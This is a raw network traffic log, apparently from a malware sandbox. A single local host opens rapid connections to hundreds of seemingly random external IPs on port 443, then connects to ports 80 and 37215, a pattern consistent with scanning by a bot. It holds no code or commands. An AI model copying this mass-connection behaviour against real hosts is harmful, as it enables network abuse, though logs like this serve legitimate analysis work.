Oct 14, 2024 17:34:13.875227928 CEST	29631	443	192.168.2.14	148.254.146.11
Oct 14, 2024 17:34:13.875250101 CEST	29631	443	192.168.2.14	5.21.152.107
Oct 14, 2024 17:34:13.875250101 CEST	29631	443	192.168.2.14	118.30.222.1
Oct 14, 2024 17:34:13.875251055 CEST	29631	443	192.168.2.14	94.182.181.194
Oct 14, 2024 17:34:13.875251055 CEST	29631	443	192.168.2.14	210.56.146.193
Oct 14, 2024 17:34:13.875252008 CEST	29631	443	192.168.2.14	5.198.181.215
Oct 14, 2024 17:34:13.875252008 CEST	29631	443	192.168.2.14	118.234.46.82
Oct 14, 2024 17:34:13.875252008 CEST	29631	443	192.168.2.14	37.34.106.42
Oct 14, 2024 17:34:13.875251055 CEST	29631	443	192.168.2.14	118.121.244.35
Oct 14, 2024 17:34:13.875252008 CEST	29631	443	192.168.2.14	210.21.242.38
Oct 14, 2024 17:34:13.875251055 CEST	29631	443	192.168.2.14	123.70.65.77
Oct 14, 2024 17:34:13.875257969 CEST	29631	443	192.168.2.14	210.13.57.122
Oct 14, 2024 17:34:13.875257969 CEST	29631	443	192.168.2.14	210.129.15.190
Oct 14, 2024 17:34:13.875257969 CEST	29631	443	192.168.2.14	109.56.191.176
Oct 14, 2024 17:34:13.875267029 CEST	29631	443	192.168.2.14	118.212.234.211
Oct 14, 2024 17:34:13.875268936 CEST	29631	443	192.168.2.14	94.222.81.200
Oct 14, 2024 17:34:13.875267982 CEST	29631	443	192.168.2.14	94.181.1.19
Oct 14, 2024 17:34:13.875267982 CEST	29631	443	192.168.2.14	148.162.31.48
Oct 14, 2024 17:34:13.875267982 CEST	29631	443	192.168.2.14	42.190.112.119
Oct 14, 2024 17:34:13.875268936 CEST	29631	443	192.168.2.14	123.208.143.11
Oct 14, 2024 17:34:13.875267982 CEST	29631	443	192.168.2.14	210.180.1.6
Oct 14, 2024 17:34:13.875271082 CEST	29631	443	192.168.2.14	94.145.153.36
Oct 14, 2024 17:34:13.875267982 CEST	29631	443	192.168.2.14	212.43.133.82
Oct 14, 2024 17:34:13.875283003 CEST	29631	443	192.168.2.14	117.89.193.184
Oct 14, 2024 17:34:13.875292063 CEST	29631	443	192.168.2.14	148.235.24.212
Oct 14, 2024 17:34:13.875292063 CEST	29631	443	192.168.2.14	202.5.34.74
Oct 14, 2024 17:34:13.875292063 CEST	29631	443	192.168.2.14	123.27.119.48
Oct 14, 2024 17:34:13.875293016 CEST	29631	443	192.168.2.14	109.90.213.25
Oct 14, 2024 17:34:13.875292063 CEST	29631	443	192.168.2.14	212.94.81.192
Oct 14, 2024 17:34:13.875298023 CEST	29631	443	192.168.2.14	2.237.153.153
Oct 14, 2024 17:34:13.875299931 CEST	29631	443	192.168.2.14	79.131.17.10
Oct 14, 2024 17:34:13.875312090 CEST	29631	443	192.168.2.14	2.11.166.239
Oct 14, 2024 17:34:13.875317097 CEST	29631	443	192.168.2.14	148.184.234.132
Oct 14, 2024 17:34:13.875320911 CEST	29631	443	192.168.2.14	123.232.187.88
Oct 14, 2024 17:34:13.875320911 CEST	29631	443	192.168.2.14	178.2.28.125
Oct 14, 2024 17:34:13.875320911 CEST	29631	443	192.168.2.14	5.185.99.143
Oct 14, 2024 17:34:13.875327110 CEST	29631	443	192.168.2.14	42.26.44.153
Oct 14, 2024 17:34:13.875327110 CEST	29631	443	192.168.2.14	210.138.76.240
Oct 14, 2024 17:34:13.875334024 CEST	29631	443	192.168.2.14	109.232.19.37
Oct 14, 2024 17:34:13.875339985 CEST	29631	443	192.168.2.14	94.110.81.20
Oct 14, 2024 17:34:13.875343084 CEST	29631	443	192.168.2.14	37.159.110.234
Oct 14, 2024 17:34:13.875353098 CEST	29631	443	192.168.2.14	118.58.211.201
Oct 14, 2024 17:34:13.875356913 CEST	29631	443	192.168.2.14	210.188.204.220
Oct 14, 2024 17:34:13.875356913 CEST	29631	443	192.168.2.14	178.28.2.2
Oct 14, 2024 17:34:13.875359058 CEST	29631	443	192.168.2.14	202.236.38.177
Oct 14, 2024 17:34:13.875448942 CEST	29631	443	192.168.2.14	210.95.235.11
Oct 14, 2024 17:34:13.875451088 CEST	29631	443	192.168.2.14	2.25.194.3
Oct 14, 2024 17:34:13.875451088 CEST	29631	443	192.168.2.14	42.52.49.71
Oct 14, 2024 17:34:13.875451088 CEST	29631	443	192.168.2.14	94.46.183.106
Oct 14, 2024 17:34:13.875451088 CEST	29631	443	192.168.2.14	123.251.160.234
Oct 14, 2024 17:34:13.875452042 CEST	29631	443	192.168.2.14	2.230.50.183
Oct 14, 2024 17:34:13.875452995 CEST	29631	443	192.168.2.14	37.252.238.52
Oct 14, 2024 17:34:13.875452042 CEST	29631	443	192.168.2.14	118.163.151.77
Oct 14, 2024 17:34:13.875452995 CEST	29631	443	192.168.2.14	109.137.94.170
Oct 14, 2024 17:34:13.875452995 CEST	29631	443	192.168.2.14	210.133.221.110
Oct 14, 2024 17:34:13.875454903 CEST	29631	443	192.168.2.14	178.43.15.18
Oct 14, 2024 17:34:13.875454903 CEST	29631	443	192.168.2.14	42.89.98.112
Oct 14, 2024 17:34:13.875454903 CEST	29631	443	192.168.2.14	109.204.125.114
Oct 14, 2024 17:34:13.875454903 CEST	29631	443	192.168.2.14	123.189.71.3
Oct 14, 2024 17:34:13.875454903 CEST	29631	443	192.168.2.14	210.163.9.195
Oct 14, 2024 17:34:13.875458002 CEST	29631	443	192.168.2.14	202.58.251.65
Oct 14, 2024 17:34:13.875458002 CEST	29631	443	192.168.2.14	202.125.151.122
Oct 14, 2024 17:34:13.875458002 CEST	29631	443	192.168.2.14	118.23.27.251
Oct 14, 2024 17:34:13.875458002 CEST	29631	443	192.168.2.14	123.149.159.135
Oct 14, 2024 17:34:13.875492096 CEST	29631	443	192.168.2.14	117.254.171.92
Oct 14, 2024 17:34:13.875492096 CEST	29631	443	192.168.2.14	212.151.49.168
Oct 14, 2024 17:34:13.875492096 CEST	29631	443	192.168.2.14	210.15.119.146
Oct 14, 2024 17:34:13.875493050 CEST	29631	443	192.168.2.14	212.11.242.177
Oct 14, 2024 17:34:13.875493050 CEST	29631	443	192.168.2.14	117.39.221.72
Oct 14, 2024 17:34:13.875504971 CEST	29631	443	192.168.2.14	109.194.50.205
Oct 14, 2024 17:34:13.875505924 CEST	29631	443	192.168.2.14	202.244.33.218
Oct 14, 2024 17:34:13.875504971 CEST	29631	443	192.168.2.14	94.233.186.235
Oct 14, 2024 17:34:13.875505924 CEST	29631	443	192.168.2.14	202.170.86.171
Oct 14, 2024 17:34:13.875507116 CEST	29631	443	192.168.2.14	178.213.127.160
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	2.208.212.31
Oct 14, 2024 17:34:13.875508070 CEST	29631	443	192.168.2.14	37.133.74.152
Oct 14, 2024 17:34:13.875505924 CEST	29631	443	192.168.2.14	212.33.203.83
Oct 14, 2024 17:34:13.875507116 CEST	29631	443	192.168.2.14	37.118.142.111
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	2.102.46.235
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	202.150.93.218
Oct 14, 2024 17:34:13.875508070 CEST	29631	443	192.168.2.14	148.111.235.241
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	5.200.12.75
Oct 14, 2024 17:34:13.875504971 CEST	29631	443	192.168.2.14	148.244.61.120
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	123.120.77.93
Oct 14, 2024 17:34:13.875510931 CEST	29631	443	192.168.2.14	123.239.237.176
Oct 14, 2024 17:34:13.875508070 CEST	29631	443	192.168.2.14	109.214.108.227
Oct 14, 2024 17:34:13.875505924 CEST	29631	443	192.168.2.14	148.42.166.31
Oct 14, 2024 17:34:13.875507116 CEST	29631	443	192.168.2.14	202.193.60.226
Oct 14, 2024 17:34:13.875508070 CEST	29631	443	192.168.2.14	79.72.220.29
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	202.89.76.160
Oct 14, 2024 17:34:13.875507116 CEST	29631	443	192.168.2.14	109.103.118.190
Oct 14, 2024 17:34:13.875504971 CEST	29631	443	192.168.2.14	37.230.101.135
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	109.5.11.147
Oct 14, 2024 17:34:13.875510931 CEST	29631	443	192.168.2.14	202.125.41.181
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	37.26.139.115
Oct 14, 2024 17:34:13.875510931 CEST	29631	443	192.168.2.14	123.188.54.241
Oct 14, 2024 17:34:13.875509024 CEST	29631	443	192.168.2.14	117.98.93.210
Oct 14, 2024 17:34:13.875510931 CEST	29631	443	192.168.2.14	79.150.173.231
Oct 14, 2024 17:34:13.875510931 CEST	29631	443	192.168.2.14	148.54.137.197
Oct 14, 2024 17:34:13.875535011 CEST	29631	443	192.168.2.14	42.37.189.42
Oct 14, 2024 17:34:13.875507116 CEST	29631	443	192.168.2.14	123.98.83.185
Oct 14, 2024 17:34:13.875535011 CEST	29631	443	192.168.2.14	5.97.70.151
Oct 14, 2024 17:34:13.875507116 CEST	29631	443	192.168.2.14	109.136.180.203
Oct 14, 2024 17:34:13.875535011 CEST	29631	443	192.168.2.14	210.0.49.204
Oct 14, 2024 17:34:13.875535011 CEST	29631	443	192.168.2.14	212.248.97.195
Oct 14, 2024 17:34:13.875535011 CEST	29631	443	192.168.2.14	212.178.170.153
Oct 14, 2024 17:34:13.875538111 CEST	29631	443	192.168.2.14	212.185.68.63
Oct 14, 2024 17:34:13.875539064 CEST	29631	443	192.168.2.14	202.95.193.34
Oct 14, 2024 17:34:13.875539064 CEST	29631	443	192.168.2.14	79.55.159.109
Oct 14, 2024 17:34:13.875539064 CEST	29631	443	192.168.2.14	178.135.65.36
Oct 14, 2024 17:34:13.875539064 CEST	29631	443	192.168.2.14	123.71.1.7
Oct 14, 2024 17:34:13.875538111 CEST	29631	443	192.168.2.14	202.177.2.207
Oct 14, 2024 17:34:13.875544071 CEST	29631	443	192.168.2.14	79.241.40.9
Oct 14, 2024 17:34:13.875539064 CEST	29631	443	192.168.2.14	2.13.122.217
Oct 14, 2024 17:34:13.875540018 CEST	29631	443	192.168.2.14	210.20.81.158
Oct 14, 2024 17:34:13.875540972 CEST	29631	443	192.168.2.14	79.88.35.9
Oct 14, 2024 17:34:13.875544071 CEST	29631	443	192.168.2.14	94.46.116.14
Oct 14, 2024 17:34:13.875540972 CEST	29631	443	192.168.2.14	94.221.156.214
Oct 14, 2024 17:34:13.875538111 CEST	29631	443	192.168.2.14	5.116.110.227
Oct 14, 2024 17:34:13.875543118 CEST	29631	443	192.168.2.14	2.189.233.98
Oct 14, 2024 17:34:13.875544071 CEST	29631	443	192.168.2.14	5.46.248.126
Oct 14, 2024 17:34:13.875539064 CEST	29631	443	192.168.2.14	148.82.248.43
Oct 14, 2024 17:34:13.875538111 CEST	29631	443	192.168.2.14	42.110.150.122
Oct 14, 2024 17:34:13.875539064 CEST	29631	443	192.168.2.14	212.205.189.164
Oct 14, 2024 17:34:13.875543118 CEST	29631	443	192.168.2.14	178.127.148.186
Oct 14, 2024 17:34:13.875543118 CEST	29631	443	192.168.2.14	42.131.61.13
Oct 14, 2024 17:34:13.875564098 CEST	29631	443	192.168.2.14	5.23.129.123
Oct 14, 2024 17:34:13.875569105 CEST	29631	443	192.168.2.14	109.181.136.168
Oct 14, 2024 17:34:13.875569105 CEST	29631	443	192.168.2.14	123.254.66.92
Oct 14, 2024 17:34:13.875569105 CEST	29631	443	192.168.2.14	79.225.161.75
Oct 14, 2024 17:34:13.875571012 CEST	29631	443	192.168.2.14	109.50.183.57
Oct 14, 2024 17:34:13.875571012 CEST	29631	443	192.168.2.14	212.88.123.94
Oct 14, 2024 17:34:13.875572920 CEST	29631	443	192.168.2.14	118.186.141.118
Oct 14, 2024 17:34:13.875572920 CEST	29631	443	192.168.2.14	202.25.79.222
Oct 14, 2024 17:34:13.875572920 CEST	29631	443	192.168.2.14	94.44.17.90
Oct 14, 2024 17:34:13.875574112 CEST	29631	443	192.168.2.14	210.119.165.144
Oct 14, 2024 17:34:13.875572920 CEST	29631	443	192.168.2.14	148.151.242.42
Oct 14, 2024 17:34:13.875574112 CEST	29631	443	192.168.2.14	148.230.60.64
Oct 14, 2024 17:34:13.875572920 CEST	29631	443	192.168.2.14	210.191.127.6
Oct 14, 2024 17:34:13.875574112 CEST	29631	443	192.168.2.14	117.31.158.69
Oct 14, 2024 17:34:13.875574112 CEST	29631	443	192.168.2.14	212.146.23.30
Oct 14, 2024 17:34:13.875574112 CEST	29631	443	192.168.2.14	123.110.247.189
Oct 14, 2024 17:34:13.875574112 CEST	29631	443	192.168.2.14	202.103.3.30
Oct 14, 2024 17:34:13.875574112 CEST	29631	443	192.168.2.14	212.96.41.71
Oct 14, 2024 17:34:13.875574112 CEST	29631	443	192.168.2.14	118.222.183.222
Oct 14, 2024 17:34:13.875580072 CEST	29631	443	192.168.2.14	117.93.165.116
Oct 14, 2024 17:34:13.875580072 CEST	29631	443	192.168.2.14	212.63.196.211
Oct 14, 2024 17:34:13.875580072 CEST	29631	443	192.168.2.14	2.145.76.111
Oct 14, 2024 17:34:13.875580072 CEST	29631	443	192.168.2.14	118.131.236.26
Oct 14, 2024 17:34:13.875591993 CEST	29631	443	192.168.2.14	123.219.157.90
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	42.235.51.115
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	210.234.199.179
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	2.46.93.215
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	118.9.82.209
Oct 14, 2024 17:34:13.875595093 CEST	29631	443	192.168.2.14	118.204.249.233
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	109.150.203.16
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	148.144.25.100
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	5.26.105.83
Oct 14, 2024 17:34:13.875602007 CEST	29631	443	192.168.2.14	2.138.167.220
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	178.229.68.102
Oct 14, 2024 17:34:13.875602007 CEST	29631	443	192.168.2.14	117.41.208.175
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	109.190.71.59
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	210.2.197.9
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	202.44.123.48
Oct 14, 2024 17:34:13.875593901 CEST	29631	443	192.168.2.14	42.11.198.24
Oct 14, 2024 17:34:13.875595093 CEST	29631	443	192.168.2.14	210.219.123.254
Oct 14, 2024 17:34:13.875612020 CEST	29631	443	192.168.2.14	202.233.174.108
Oct 14, 2024 17:34:13.875616074 CEST	29631	443	192.168.2.14	42.56.73.243
Oct 14, 2024 17:34:13.875616074 CEST	29631	443	192.168.2.14	109.229.220.197
Oct 14, 2024 17:34:13.875616074 CEST	29631	443	192.168.2.14	109.254.113.100
Oct 14, 2024 17:34:13.875617027 CEST	29631	443	192.168.2.14	118.36.128.33
Oct 14, 2024 17:34:13.875617027 CEST	29631	443	192.168.2.14	42.152.199.52
Oct 14, 2024 17:34:13.875617027 CEST	29631	443	192.168.2.14	123.25.35.176
Oct 14, 2024 17:34:13.875618935 CEST	29631	443	192.168.2.14	178.204.220.43
Oct 14, 2024 17:34:13.875618935 CEST	29631	443	192.168.2.14	42.121.3.248
Oct 14, 2024 17:34:13.875623941 CEST	29631	443	192.168.2.14	210.227.131.198
Oct 14, 2024 17:34:13.875623941 CEST	29631	443	192.168.2.14	117.17.37.86
Oct 14, 2024 17:34:13.875623941 CEST	29631	443	192.168.2.14	148.133.190.22
Oct 14, 2024 17:34:13.875623941 CEST	29631	443	192.168.2.14	123.183.204.139
Oct 14, 2024 17:34:13.875627041 CEST	29631	443	192.168.2.14	5.107.207.27
Oct 14, 2024 17:34:13.875628948 CEST	29631	443	192.168.2.14	123.28.35.174
Oct 14, 2024 17:34:13.875628948 CEST	29631	443	192.168.2.14	202.52.63.121
Oct 14, 2024 17:34:13.875629902 CEST	29631	443	192.168.2.14	123.67.232.101
Oct 14, 2024 17:34:13.875628948 CEST	29631	443	192.168.2.14	5.82.148.42
Oct 14, 2024 17:34:13.875628948 CEST	29631	443	192.168.2.14	118.224.67.10
Oct 14, 2024 17:34:13.875629902 CEST	29631	443	192.168.2.14	202.44.138.161
Oct 14, 2024 17:34:13.875631094 CEST	29631	443	192.168.2.14	118.100.114.251
Oct 14, 2024 17:34:13.875628948 CEST	29631	443	192.168.2.14	5.200.197.66
Oct 14, 2024 17:34:13.875629902 CEST	29631	443	192.168.2.14	178.238.11.20
Oct 14, 2024 17:34:13.875628948 CEST	29631	443	192.168.2.14	79.129.68.59
Oct 14, 2024 17:34:13.875628948 CEST	29631	443	192.168.2.14	212.172.44.251
Oct 14, 2024 17:34:13.875633001 CEST	29631	443	192.168.2.14	118.132.255.204
Oct 14, 2024 17:34:13.875633001 CEST	29631	443	192.168.2.14	2.28.219.179
Oct 14, 2024 17:34:13.875646114 CEST	29631	443	192.168.2.14	210.7.108.98
Oct 14, 2024 17:34:13.875649929 CEST	29631	443	192.168.2.14	123.157.76.184
Oct 14, 2024 17:34:13.875649929 CEST	29631	443	192.168.2.14	79.83.101.57
Oct 14, 2024 17:34:13.875650883 CEST	29631	443	192.168.2.14	210.129.171.220
Oct 14, 2024 17:34:13.875650883 CEST	29631	443	192.168.2.14	202.66.121.49
Oct 14, 2024 17:34:13.875659943 CEST	29631	443	192.168.2.14	202.96.240.180
Oct 14, 2024 17:34:13.875660896 CEST	29631	443	192.168.2.14	109.146.128.207
Oct 14, 2024 17:34:13.875660896 CEST	29631	443	192.168.2.14	37.100.206.63
Oct 14, 2024 17:34:13.875663042 CEST	29631	443	192.168.2.14	37.13.138.30
Oct 14, 2024 17:34:13.875665903 CEST	29631	443	192.168.2.14	178.25.80.35
Oct 14, 2024 17:34:13.875665903 CEST	29631	443	192.168.2.14	117.185.49.143
Oct 14, 2024 17:34:13.875665903 CEST	29631	443	192.168.2.14	94.249.194.175
Oct 14, 2024 17:34:13.875665903 CEST	29631	443	192.168.2.14	123.121.222.149
Oct 14, 2024 17:34:13.875665903 CEST	29631	443	192.168.2.14	212.201.222.205
Oct 14, 2024 17:34:13.875665903 CEST	29631	443	192.168.2.14	212.172.119.232
Oct 14, 2024 17:34:13.875675917 CEST	29631	443	192.168.2.14	148.147.170.137
Oct 14, 2024 17:34:13.875675917 CEST	29631	443	192.168.2.14	109.75.29.47
Oct 14, 2024 17:34:13.875675917 CEST	29631	443	192.168.2.14	37.246.36.240
Oct 14, 2024 17:34:13.875675917 CEST	29631	443	192.168.2.14	2.139.64.210
Oct 14, 2024 17:34:13.875696898 CEST	29631	443	192.168.2.14	123.232.31.23
Oct 14, 2024 17:34:13.875700951 CEST	29631	443	192.168.2.14	2.76.190.189
Oct 14, 2024 17:34:13.875700951 CEST	29631	443	192.168.2.14	79.59.153.70
Oct 14, 2024 17:34:13.875701904 CEST	29631	443	192.168.2.14	212.142.119.47
Oct 14, 2024 17:34:13.875704050 CEST	29631	443	192.168.2.14	117.203.167.17
Oct 14, 2024 17:34:13.875703096 CEST	29631	443	192.168.2.14	2.208.223.33
Oct 14, 2024 17:34:13.875701904 CEST	29631	443	192.168.2.14	37.103.203.18
Oct 14, 2024 17:34:13.875704050 CEST	29631	443	192.168.2.14	117.53.133.105
Oct 14, 2024 17:34:13.875704050 CEST	29631	443	192.168.2.14	5.79.128.7
Oct 14, 2024 17:34:13.875703096 CEST	29631	443	192.168.2.14	148.44.185.205
Oct 14, 2024 17:34:13.875706911 CEST	29631	443	192.168.2.14	178.25.107.73
Oct 14, 2024 17:34:13.875701904 CEST	29631	443	192.168.2.14	210.223.150.132
Oct 14, 2024 17:34:13.875704050 CEST	29631	443	192.168.2.14	94.87.153.151
Oct 14, 2024 17:34:13.875703096 CEST	29631	443	192.168.2.14	5.146.237.233
Oct 14, 2024 17:34:13.875704050 CEST	29631	443	192.168.2.14	178.243.231.141
Oct 14, 2024 17:34:13.875703096 CEST	29631	443	192.168.2.14	2.244.103.175
Oct 14, 2024 17:34:13.875701904 CEST	29631	443	192.168.2.14	2.204.21.209
Oct 14, 2024 17:34:13.875704050 CEST	29631	443	192.168.2.14	37.92.242.199
Oct 14, 2024 17:34:13.875706911 CEST	29631	443	192.168.2.14	118.72.131.7
Oct 14, 2024 17:34:13.875704050 CEST	29631	443	192.168.2.14	117.154.235.224
Oct 14, 2024 17:34:13.875701904 CEST	29631	443	192.168.2.14	210.58.60.205
Oct 14, 2024 17:34:13.875701904 CEST	29631	443	192.168.2.14	42.188.245.231
Oct 14, 2024 17:34:13.875720978 CEST	29631	443	192.168.2.14	148.19.113.205
Oct 14, 2024 17:34:13.875722885 CEST	29631	443	192.168.2.14	5.194.32.187
Oct 14, 2024 17:34:13.875722885 CEST	29631	443	192.168.2.14	210.94.128.25
Oct 14, 2024 17:34:13.875725031 CEST	29631	443	192.168.2.14	117.125.136.49
Oct 14, 2024 17:34:13.875725031 CEST	29631	443	192.168.2.14	178.225.171.73
Oct 14, 2024 17:34:13.875725031 CEST	29631	443	192.168.2.14	94.70.13.88
Oct 14, 2024 17:34:13.875725985 CEST	29631	443	192.168.2.14	79.17.174.212
Oct 14, 2024 17:34:13.875726938 CEST	29631	443	192.168.2.14	117.44.52.213
Oct 14, 2024 17:34:13.875726938 CEST	29631	443	192.168.2.14	148.218.229.94
Oct 14, 2024 17:34:13.875729084 CEST	29631	443	192.168.2.14	117.251.144.48
Oct 14, 2024 17:34:13.875732899 CEST	29631	443	192.168.2.14	109.50.73.230
Oct 14, 2024 17:34:13.875732899 CEST	29631	443	192.168.2.14	178.69.5.162
Oct 14, 2024 17:34:13.875732899 CEST	29631	443	192.168.2.14	202.217.232.118
Oct 14, 2024 17:34:13.875736952 CEST	29631	443	192.168.2.14	210.239.160.14
Oct 14, 2024 17:34:13.875737906 CEST	29631	443	192.168.2.14	148.231.100.13
Oct 14, 2024 17:34:13.875739098 CEST	29631	443	192.168.2.14	109.22.203.175
Oct 14, 2024 17:34:13.875737906 CEST	29631	443	192.168.2.14	37.203.10.50
Oct 14, 2024 17:34:13.875741005 CEST	29631	443	192.168.2.14	5.232.211.156
Oct 14, 2024 17:34:13.875746965 CEST	29631	443	192.168.2.14	109.1.138.241
Oct 14, 2024 17:34:13.875752926 CEST	29631	443	192.168.2.14	2.236.83.74
Oct 14, 2024 17:34:13.875756979 CEST	29631	443	192.168.2.14	94.195.224.196
Oct 14, 2024 17:34:13.875756979 CEST	29631	443	192.168.2.14	117.115.49.12
Oct 14, 2024 17:34:13.875758886 CEST	29631	443	192.168.2.14	79.113.174.211
Oct 14, 2024 17:34:13.875778913 CEST	29631	443	192.168.2.14	123.212.214.62
Oct 14, 2024 17:34:13.875782013 CEST	29631	443	192.168.2.14	117.123.146.138
Oct 14, 2024 17:34:13.875797987 CEST	29631	443	192.168.2.14	118.96.169.125
Oct 14, 2024 17:34:13.875797987 CEST	29631	443	192.168.2.14	37.152.74.94
Oct 14, 2024 17:34:13.875799894 CEST	29631	443	192.168.2.14	212.56.239.60
Oct 14, 2024 17:34:13.875799894 CEST	29631	443	192.168.2.14	202.139.147.184
Oct 14, 2024 17:34:13.875799894 CEST	29631	443	192.168.2.14	5.203.220.178
Oct 14, 2024 17:34:13.875802994 CEST	29631	443	192.168.2.14	148.15.81.126
Oct 14, 2024 17:34:13.875802994 CEST	29631	443	192.168.2.14	94.149.6.75
Oct 14, 2024 17:34:13.875802994 CEST	29631	443	192.168.2.14	42.232.19.227
Oct 14, 2024 17:34:13.875802994 CEST	29631	443	192.168.2.14	123.173.34.230
Oct 14, 2024 17:34:13.875808954 CEST	29631	443	192.168.2.14	5.41.21.196
Oct 14, 2024 17:34:13.875813007 CEST	29631	443	192.168.2.14	117.102.150.36
Oct 14, 2024 17:34:13.875817060 CEST	29631	443	192.168.2.14	148.227.223.49
Oct 14, 2024 17:34:13.875818014 CEST	29631	443	192.168.2.14	2.239.172.62
Oct 14, 2024 17:34:13.875829935 CEST	29631	443	192.168.2.14	79.153.218.228
Oct 14, 2024 17:34:13.875835896 CEST	29631	443	192.168.2.14	178.181.91.67
Oct 14, 2024 17:34:13.875835896 CEST	29631	443	192.168.2.14	79.250.67.71
Oct 14, 2024 17:34:13.875838995 CEST	29631	443	192.168.2.14	37.64.39.79
Oct 14, 2024 17:34:13.875838995 CEST	29631	443	192.168.2.14	210.92.206.88
Oct 14, 2024 17:34:13.875857115 CEST	29631	443	192.168.2.14	202.223.178.251
Oct 14, 2024 17:34:13.875857115 CEST	29631	443	192.168.2.14	148.159.158.86
Oct 14, 2024 17:34:13.875859022 CEST	29631	443	192.168.2.14	210.68.52.170
Oct 14, 2024 17:34:13.875859976 CEST	29631	443	192.168.2.14	109.179.153.83
Oct 14, 2024 17:34:13.875859976 CEST	29631	443	192.168.2.14	117.40.6.101
Oct 14, 2024 17:34:13.875859976 CEST	29631	443	192.168.2.14	123.180.122.193
Oct 14, 2024 17:34:13.875873089 CEST	29631	443	192.168.2.14	123.18.99.12
Oct 14, 2024 17:34:13.875874043 CEST	29631	443	192.168.2.14	2.183.85.80
Oct 14, 2024 17:34:13.875878096 CEST	29631	443	192.168.2.14	118.208.233.132
Oct 14, 2024 17:34:13.875915051 CEST	29631	443	192.168.2.14	118.184.113.186
Oct 14, 2024 17:34:13.875916958 CEST	29631	443	192.168.2.14	148.224.78.222
Oct 14, 2024 17:34:13.875916958 CEST	29631	443	192.168.2.14	212.255.122.13
Oct 14, 2024 17:34:13.875916958 CEST	29631	443	192.168.2.14	178.252.6.214
Oct 14, 2024 17:34:13.875916958 CEST	29631	443	192.168.2.14	123.83.82.228
Oct 14, 2024 17:34:13.875936985 CEST	29631	443	192.168.2.14	79.244.81.129
Oct 14, 2024 17:34:13.875937939 CEST	29631	443	192.168.2.14	210.181.31.81
Oct 14, 2024 17:34:13.875937939 CEST	29631	443	192.168.2.14	212.92.229.254
Oct 14, 2024 17:34:13.875937939 CEST	29631	443	192.168.2.14	42.240.208.216
Oct 14, 2024 17:34:13.875938892 CEST	29631	443	192.168.2.14	202.199.200.96
Oct 14, 2024 17:34:13.875938892 CEST	29631	443	192.168.2.14	202.6.152.88
Oct 14, 2024 17:34:13.875937939 CEST	29631	443	192.168.2.14	210.14.208.153
Oct 14, 2024 17:34:13.875938892 CEST	29631	443	192.168.2.14	210.72.151.48
Oct 14, 2024 17:34:13.875941038 CEST	29631	443	192.168.2.14	148.106.192.19
Oct 14, 2024 17:34:13.875940084 CEST	29631	443	192.168.2.14	37.114.241.243
Oct 14, 2024 17:34:13.875941038 CEST	29631	443	192.168.2.14	118.255.19.156
Oct 14, 2024 17:34:13.875941038 CEST	29631	443	192.168.2.14	42.62.249.143
Oct 14, 2024 17:34:13.875951052 CEST	29631	443	192.168.2.14	212.219.14.188
Oct 14, 2024 17:34:13.875952959 CEST	29631	443	192.168.2.14	148.62.22.243
Oct 14, 2024 17:34:13.875952959 CEST	29631	443	192.168.2.14	79.61.6.91
Oct 14, 2024 17:34:13.875957012 CEST	29631	443	192.168.2.14	123.144.145.133
Oct 14, 2024 17:34:13.875957012 CEST	29631	443	192.168.2.14	117.68.183.47
Oct 14, 2024 17:34:13.875957012 CEST	29631	443	192.168.2.14	178.169.182.227
Oct 14, 2024 17:34:13.875957012 CEST	29631	443	192.168.2.14	5.236.53.193
Oct 14, 2024 17:34:13.875957012 CEST	29631	443	192.168.2.14	148.227.253.39
Oct 14, 2024 17:34:13.875957966 CEST	29631	443	192.168.2.14	212.87.87.133
Oct 14, 2024 17:34:13.875966072 CEST	29631	443	192.168.2.14	79.232.158.67
Oct 14, 2024 17:34:13.875967026 CEST	29631	443	192.168.2.14	37.20.105.20
Oct 14, 2024 17:34:13.875967979 CEST	29631	443	192.168.2.14	5.111.106.41
Oct 14, 2024 17:34:13.875967979 CEST	29631	443	192.168.2.14	117.91.6.221
Oct 14, 2024 17:34:13.875968933 CEST	29631	443	192.168.2.14	5.141.96.215
Oct 14, 2024 17:34:13.899600983 CEST	58810	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:13.899601936 CEST	55874	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:13.899607897 CEST	55036	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:13.899614096 CEST	44324	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:13.899616003 CEST	40150	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:13.899621964 CEST	50736	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:13.904525042 CEST	80	55874	131.156.38.106	192.168.2.14
Oct 14, 2024 17:34:13.904618979 CEST	55874	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:13.904700994 CEST	55874	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:13.904779911 CEST	37215	58810	197.84.254.99	192.168.2.14
Oct 14, 2024 17:34:13.904846907 CEST	58810	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:13.904858112 CEST	80	55036	141.182.88.11	192.168.2.14
Oct 14, 2024 17:34:13.904922962 CEST	55036	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:13.904943943 CEST	55036	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:13.904987097 CEST	58810	37215	192.168.2.14	197.84.254.99
Oct 14, 2024 17:34:13.910368919 CEST	80	55874	131.156.38.106	192.168.2.14
